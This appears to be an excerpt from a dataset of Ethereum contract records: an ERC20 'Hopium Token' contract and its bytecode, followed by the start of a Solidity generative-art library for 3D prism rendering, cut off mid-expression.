transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract HopiumToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function HopiumToken() public { symbol = "HOPI"; name = "Hopium Token"; decimals = 18; _totalSupply = 50000000000000000000000000; balances[0x9872139a96bEC17409656De5CbE53e33eaD93f35] = _totalSupply; Transfer(address(0), 0x9872139a96bEC17409656De5CbE53e33eaD93f35, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058200a792454a1ba04a0e596ff7ef51ac0670967548e73192e3bd71edc19d464a7410029
[ 2 ]
0xF30168B5983Ea80007BF973B501cDd30B535A7de
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ShackledStructs.sol"; import "./ShackledMath.sol"; import "./Trigonometry.sol"; /* dir codes: 0: right-left 1: left-right 2: up-down 3: down-up sel codes: 0: random 1: biggest-first 2: smallest-first */ library ShackledGenesis { uint256 constant MAX_N_ATTEMPTS = 150; // max number of attempts to find a valid triangle int256 constant ROT_XY_MAX = 12; // max amount of rotation in xy plane int256 constant MAX_CANVAS_SIZE = 32000; // max size of canvas /// a struct to hold vars in makeFacesVertsCols() to prevent StackTooDeep struct FacesVertsCols { uint256[3][] faces; int256[3][] verts; int256[3][] cols; uint256 nextColIdx; uint256 nextVertIdx; uint256 nextFaceIdx; } /** @dev generate all parameters required for the shackled renderer from a seed hash @param tokenHash a hash of the tokenId to be used in 'random' number generation */ function generateGenesisPiece(bytes32 tokenHash) external view returns ( ShackledStructs.RenderParams memory renderParams, ShackledStructs.Metadata memory metadata ) { /// initial model paramaters renderParams.objScale = 1; renderParams.objPosition = [int256(0), 0, -2500]; /// generate the geometry and colors ( FacesVertsCols memory vars, ColorUtils.ColScheme memory colScheme, GeomUtils.GeomSpec memory geomSpec, GeomUtils.GeomVars memory geomVars ) = generateGeometryAndColors(tokenHash, renderParams.objPosition); renderParams.faces = vars.faces; renderParams.verts = vars.verts; renderParams.cols = vars.cols; /// use a perspective camera renderParams.perspCamera = true; if (geomSpec.id == 3) { renderParams.wireframe = false; renderParams.backfaceCulling = true; } else { /// determine wireframe trait (5% chance) if (GeomUtils.randN(tokenHash, "wireframe", 1, 100) > 95) { renderParams.wireframe = true; renderParams.backfaceCulling = false; } else { renderParams.wireframe = false; renderParams.backfaceCulling = true; } } if ( colScheme.id == 2 || colScheme.id == 3 || colScheme.id == 7 || colScheme.id == 8 ) { renderParams.invert = false; } else { /// inversion (40% chance) renderParams.invert = GeomUtils.randN(tokenHash, "invert", 1, 10) > 6; } /// background colors renderParams.backgroundColor = [ colScheme.bgColTop, colScheme.bgColBottom ]; /// lighting parameters renderParams.lightingParams = ShackledStructs.LightingParams({ applyLighting: true, lightAmbiPower: 0, lightDiffPower: 2000, lightSpecPower: 3000, inverseShininess: 10, lightColSpec: colScheme.lightCol, lightColDiff: colScheme.lightCol, lightColAmbi: colScheme.lightCol, lightPos: [int256(-50), 0, 0] }); /// create the metadata metadata.colorScheme = colScheme.name; metadata.geomSpec = geomSpec.name; metadata.nPrisms = geomVars.nPrisms; if (geomSpec.isSymmetricX) { if (geomSpec.isSymmetricY) { metadata.pseudoSymmetry = "Diagonal"; } else { metadata.pseudoSymmetry = "Horizontal"; } } else if (geomSpec.isSymmetricY) { metadata.pseudoSymmetry = "Vertical"; } else { metadata.pseudoSymmetry = "Scattered"; } if (renderParams.wireframe) { metadata.wireframe = "Enabled"; } else { metadata.wireframe = "Disabled"; } if (renderParams.invert) { metadata.inversion = "Enabled"; } else { metadata.inversion = "Disabled"; } } /** @dev run a generative algorithm to create 3d geometries (prisms) and colors to render with Shackled also returns the faces and verts, which can be used to build a .obj file for in-browser rendering */ function generateGeometryAndColors( bytes32 tokenHash, int256[3] memory objPosition ) internal view returns ( FacesVertsCols memory vars, ColorUtils.ColScheme memory colScheme, GeomUtils.GeomSpec memory geomSpec, GeomUtils.GeomVars memory geomVars ) { /// get this geom's spec geomSpec = GeomUtils.generateSpec(tokenHash); /// create the triangles ( int256[3][3][] memory tris, int256[] memory zFronts, int256[] memory zBacks ) = create2dTris(tokenHash, geomSpec); /// prismify geomVars = prismify(tokenHash, tris, zFronts, zBacks); /// generate colored faces /// get a color scheme colScheme = ColorUtils.getScheme(tokenHash, tris); /// get faces, verts and colors vars = makeFacesVertsCols( tokenHash, tris, geomVars, colScheme, objPosition ); } /** @dev 'randomly' create an array of 2d triangles that will define each eventual 3d prism */ function create2dTris(bytes32 tokenHash, GeomUtils.GeomSpec memory geomSpec) internal view returns ( int256[3][3][] memory, /// tris int256[] memory, /// zFronts int256[] memory /// zBacks ) { /// initiate vars that will be used to store the triangle info GeomUtils.TriVars memory triVars; triVars.tris = new int256[3][3][]((geomSpec.maxPrisms + 5) * 2); triVars.zFronts = new int256[]((geomSpec.maxPrisms + 5) * 2); triVars.zBacks = new int256[]((geomSpec.maxPrisms + 5) * 2); /// 'randomly' initiate the starting radius int256 initialSize; if (geomSpec.forceInitialSize == 0) { initialSize = GeomUtils.randN( tokenHash, "size", geomSpec.minTriRad, geomSpec.maxTriRad ); } else { initialSize = geomSpec.forceInitialSize; } /// 50% chance of 30deg rotation, 50% chance of 210deg rotation int256 initialRot = GeomUtils.randN(tokenHash, "rot", 0, 1) == 0 ? int256(30) : int256(210); /// create the first triangle int256[3][3] memory currentTri = GeomUtils.makeTri( [int256(0), 0, 0], initialSize, initialRot ); /// save it triVars.tris[0] = currentTri; /// calculate the first triangle's zs triVars.zBacks[0] = GeomUtils.calculateZ( currentTri, tokenHash, triVars.nextTriIdx, geomSpec, false ); triVars.zFronts[0] = GeomUtils.calculateZ( currentTri, tokenHash, triVars.nextTriIdx, geomSpec, true ); /// get the position to add the next triangle if (geomSpec.isSymmetricY) { /// override the first tri, since it is not symmetrical /// but temporarily save it as its needed as a reference tri triVars.nextTriIdx = 0; } else { triVars.nextTriIdx = 1; } /// make new triangles for (uint256 i = 0; i < MAX_N_ATTEMPTS; i++) { /// get a reference to a previous triangle uint256 refIdx = uint256( GeomUtils.randN( tokenHash, string(abi.encodePacked("refIdx", i)), 0, int256(triVars.nextTriIdx) - 1 ) ); /// ensure that the 'random' number generated is different in each while loop /// by incorporating the nAttempts and nextTriIdx into the seed modifier if ( GeomUtils.randN( tokenHash, string(abi.encodePacked("adj", i, triVars.nextTriIdx)), 0, 100 ) <= geomSpec.probVertOpp ) { /// attempt to recursively add vertically opposite triangles triVars = GeomUtils.makeVerticallyOppositeTriangles( tokenHash, i, // attemptNum (to create unique random seeds) refIdx, triVars, geomSpec, -1, -1, 0 // depth (to create unique random seeds within recursion) ); } else { /// attempt to recursively add adjacent triangles triVars = GeomUtils.makeAdjacentTriangles( tokenHash, i, // attemptNum (to create unique random seeds) refIdx, triVars, geomSpec, -1, -1, 0 // depth (to create unique random seeds within recursion) ); } /// can't have this many triangles if (triVars.nextTriIdx >= geomSpec.maxPrisms) { break; } } /// clip all the arrays to the actual number of triangles triVars.tris = GeomUtils.clipTrisToLength( triVars.tris, triVars.nextTriIdx ); triVars.zBacks = GeomUtils.clipZsToLength( triVars.zBacks, triVars.nextTriIdx ); triVars.zFronts = GeomUtils.clipZsToLength( triVars.zFronts, triVars.nextTriIdx ); return (triVars.tris, triVars.zBacks, triVars.zFronts); } /** @dev prismify the initial 2d triangles output */ function prismify( bytes32 tokenHash, int256[3][3][] memory tris, int256[] memory zFronts, int256[] memory zBacks ) internal view returns (GeomUtils.GeomVars memory) { /// initialise a struct to hold the vars we need GeomUtils.GeomVars memory geomVars; /// record the num of prisms geomVars.nPrisms = uint256(tris.length); /// figure out what point to put in the middle geomVars.extents = GeomUtils.getExtents(tris); // mins[3], maxs[3] /// scale the tris to fit in the canvas geomVars.width = geomVars.extents[1][0] - geomVars.extents[0][0]; geomVars.height = geomVars.extents[1][1] - geomVars.extents[0][1]; geomVars.extent = ShackledMath.max(geomVars.width, geomVars.height); geomVars.scaleNum = 2000; /// multiple all tris by the scale, then divide by the extent for (uint256 i = 0; i < tris.length; i++) { tris[i] = [ ShackledMath.vector3DivScalar( ShackledMath.vector3MulScalar( tris[i][0], geomVars.scaleNum ), geomVars.extent ), ShackledMath.vector3DivScalar( ShackledMath.vector3MulScalar( tris[i][1], geomVars.scaleNum ), geomVars.extent ), ShackledMath.vector3DivScalar( ShackledMath.vector3MulScalar( tris[i][2], geomVars.scaleNum ), geomVars.extent ) ]; } /// we may like to do some rotation, this means we get the shapes in the middle /// arrow up, down, left, right // 50% chance of x, y rotation being positive or negative geomVars.rotX = (GeomUtils.randN(tokenHash, "rotX", 0, 1) == 0) ? ROT_XY_MAX : -ROT_XY_MAX; geomVars.rotY = (GeomUtils.randN(tokenHash, "rotY", 0, 1) == 0) ? ROT_XY_MAX : -ROT_XY_MAX; // 50% chance to z rotation being 0 or 30 geomVars.rotZ = (GeomUtils.randN(tokenHash, "rotZ", 0, 1) == 0) ? int256(0) : int256(30); /// rotate all tris around facing (z) axis for (uint256 i = 0; i < tris.length; i++) { tris[i] = GeomUtils.triRotHelp(2, tris[i], geomVars.rotZ); } geomVars.trisBack = GeomUtils.copyTris(tris); geomVars.trisFront = GeomUtils.copyTris(tris); /// front triangles need to come forward, back triangles need to go back for (uint256 i = 0; i < tris.length; i++) { for (uint256 j = 0; j < 3; j++) { for (uint256 k = 0; k < 3; k++) { if (k == 2) { /// get the z values (make sure the scale is applied) geomVars.trisFront[i][j][k] = zFronts[i]; geomVars.trisBack[i][j][k] = zBacks[i]; } else { /// copy the x and y values geomVars.trisFront[i][j][k] = tris[i][j][k]; geomVars.trisBack[i][j][k] = tris[i][j][k]; } } } } /// rotate - order is import here (must come after prism splitting, and is dependant on z rotation) if (geomVars.rotZ == 0) { /// x then y (geomVars.trisBack, geomVars.trisFront) = GeomUtils.triBfHelp( 0, geomVars.trisBack, geomVars.trisFront, geomVars.rotX ); (geomVars.trisBack, geomVars.trisFront) = GeomUtils.triBfHelp( 1, geomVars.trisBack, geomVars.trisFront, geomVars.rotY ); } else { /// y then x (geomVars.trisBack, geomVars.trisFront) = GeomUtils.triBfHelp( 1, geomVars.trisBack, geomVars.trisFront, geomVars.rotY ); (geomVars.trisBack, geomVars.trisFront) = GeomUtils.triBfHelp( 0, geomVars.trisBack, geomVars.trisFront, geomVars.rotX ); } return geomVars; } /** @dev create verts and faces out of the geom and get their colors */ function makeFacesVertsCols( bytes32 tokenHash, int256[3][3][] memory tris, GeomUtils.GeomVars memory geomVars, ColorUtils.ColScheme memory scheme, int256[3] memory objPosition ) internal view returns (FacesVertsCols memory vars) { /// the tris defined thus far are those at the front of each prism /// we need to calculate how many tris will then be in the final prisms (3 sides have 2 tris each, plus the front tri, = 7) uint256 numTrisPrisms = tris.length * 7; /// 7 tris per 3D prism (not inc. back) vars.faces = new uint256[3][](numTrisPrisms); /// array that holds indexes of verts needed to make each final triangle vars.verts = new int256[3][](tris.length * 6); /// the vertices for all final triangles vars.cols = new int256[3][](tris.length * 6); /// 1 col per final tri vars.nextColIdx = 0; vars.nextVertIdx = 0; vars.nextFaceIdx = 0; /// get some number of highlight triangles geomVars.hltPrismIdx = ColorUtils.getHighlightPrismIdxs( tris, tokenHash, scheme.hltNum, scheme.hltVarCode, scheme.hltSelCode ); int256[3][2] memory frontExtents = GeomUtils.getExtents( geomVars.trisFront ); // mins[3], maxs[3] int256[3][2] memory backExtents = GeomUtils.getExtents( geomVars.trisBack ); // mins[3], maxs[3] int256[3][2] memory meanExtents = [ [ (frontExtents[0][0] + backExtents[0][0]) / 2, (frontExtents[0][1] + backExtents[0][1]) / 2, (frontExtents[0][2] + backExtents[0][2]) / 2 ], [ (frontExtents[1][0] + backExtents[1][0]) / 2, (frontExtents[1][1] + backExtents[1][1]) / 2, (frontExtents[1][2] + backExtents[1][2]) / 2 ] ]; /// apply translations such that we're at the center geomVars.center = ShackledMath.vector3DivScalar( ShackledMath.vector3Add(meanExtents[0], meanExtents[1]), 2 ); geomVars.center[2] = 0; for (uint256 i = 0; i < tris.length; i++) { int256[3][6] memory prismCols; ColorUtils.SubScheme memory subScheme = ColorUtils.inArray( geomVars.hltPrismIdx, i ) ? scheme.hlt : scheme.pri; /// get the colors for the prism prismCols = ColorUtils.getColForPrism( tokenHash, geomVars.trisFront[i], subScheme, meanExtents ); /// save the colors (6 per prism) for (uint256 j = 0; j < 6; j++) { vars.cols[vars.nextColIdx] = prismCols[j]; vars.nextColIdx++; } /// add 3 points (back) for (uint256 j = 0; j < 3; j++) { vars.verts[vars.nextVertIdx] = [ geomVars.trisBack[i][j][0], geomVars.trisBack[i][j][1], -geomVars.trisBack[i][j][2] /// flip the Z ]; vars.nextVertIdx += 1; } /// add 3 points (front) for (uint256 j = 0; j < 3; j++) { vars.verts[vars.nextVertIdx] = [ geomVars.trisFront[i][j][0], geomVars.trisFront[i][j][1], -geomVars.trisFront[i][j][2] /// flip the Z ]; vars.nextVertIdx += 1; } /// create the faces uint256 ii = i * 6; /// the orders are all important here (back is not visible) /// front vars.faces[vars.nextFaceIdx] = [ii + 3, ii + 4, ii + 5]; /// side 1 flat vars.faces[vars.nextFaceIdx + 1] = [ii + 4, ii + 3, ii + 0]; vars.faces[vars.nextFaceIdx + 2] = [ii + 0, ii + 1, ii + 4]; /// side 2 rhs vars.faces[vars.nextFaceIdx + 3] = [ii + 5, ii + 4, ii + 1]; vars.faces[vars.nextFaceIdx + 4] = [ii + 1, ii + 2, ii + 5]; /// side 3 lhs vars.faces[vars.nextFaceIdx + 5] = [ii + 2, ii + 0, ii + 3]; vars.faces[vars.nextFaceIdx + 6] = [ii + 3, ii + 5, ii + 2]; vars.nextFaceIdx += 7; } for (uint256 i = 0; i < vars.verts.length; i++) { vars.verts[i] = ShackledMath.vector3Sub( vars.verts[i], geomVars.center ); } } } /** Hold some functions useful for coloring in the prisms */ library ColorUtils { /// a struct to hold vars within the main color scheme /// which can be used for both highlight (hlt) an primar (pri) colors struct SubScheme { int256[3] colA; // either the entire solid color, or one side of the gradient int256[3] colB; // either the same as A (solid), or different (gradient) bool isInnerGradient; // whether the gradient spans the triangle (true) or canvas (false) int256 dirCode; // which direction should the gradient be interpolated int256[3] jiggle; // how much to randomly jiffle the color space bool isJiggleInner; // does each inner vertiex get a jiggle, or is it triangle wide int256[3] backShift; // how much to take off the back face colors } /// a struct for each piece's color scheme struct ColScheme { string name; uint256 id; /// the primary color SubScheme pri; /// the highlight color SubScheme hlt; /// remaining parameters (not common to hlt and pri) uint256 hltNum; int256 hltSelCode; int256 hltVarCode; /// other scene colors int256[3] lightCol; int256[3] bgColTop; int256[3] bgColBottom; } /** @dev calculate the color of a prism returns an array of 6 colors (for each vertex of a prism) */ function getColForPrism( bytes32 tokenHash, int256[3][3] memory triFront, SubScheme memory subScheme, int256[3][2] memory extents ) external view returns (int256[3][6] memory cols) { if ( subScheme.colA[0] == subScheme.colB[0] && subScheme.colA[1] == subScheme.colB[1] && subScheme.colA[2] == subScheme.colB[2] ) { /// just use color A (as B is the same, so there's no gradient) for (uint256 i = 0; i < 6; i++) { cols[i] = copyColor(subScheme.colA); } } else { /// get the colors according to the direction code int256[3][3] memory triFrontCopy = GeomUtils.copyTri(triFront); int256[3][3] memory frontTriCols = applyDirHelp( triFrontCopy, subScheme.colA, subScheme.colB, subScheme.dirCode, subScheme.isInnerGradient, extents ); /// write in the same front colors as the back colors for (uint256 i = 0; i < 3; i++) { cols[i] = copyColor(frontTriCols[i]); cols[i + 3] = copyColor(frontTriCols[i]); } } /// perform the jiggling int256[3] memory jiggle; if (!subScheme.isJiggleInner) { /// get one set of jiggle values to use for all colors created jiggle = getJiggle(subScheme.jiggle, tokenHash, 0); } for (uint256 i = 0; i < 6; i++) { if (subScheme.isJiggleInner) { // jiggle again per col to create // use the last jiggle res in the random seed to get diff jiggles for each prism jiggle = getJiggle(subScheme.jiggle, tokenHash, jiggle[0]); } /// convert to hsv prior to jiggle int256[3] memory colHsv = rgb2hsv( cols[i][0], cols[i][1], cols[i][2] ); /// add the jiggle to the colors in hsv space colHsv[0] = colHsv[0] + jiggle[0]; colHsv[1] = colHsv[1] + jiggle[1]; colHsv[2] = colHsv[2] + 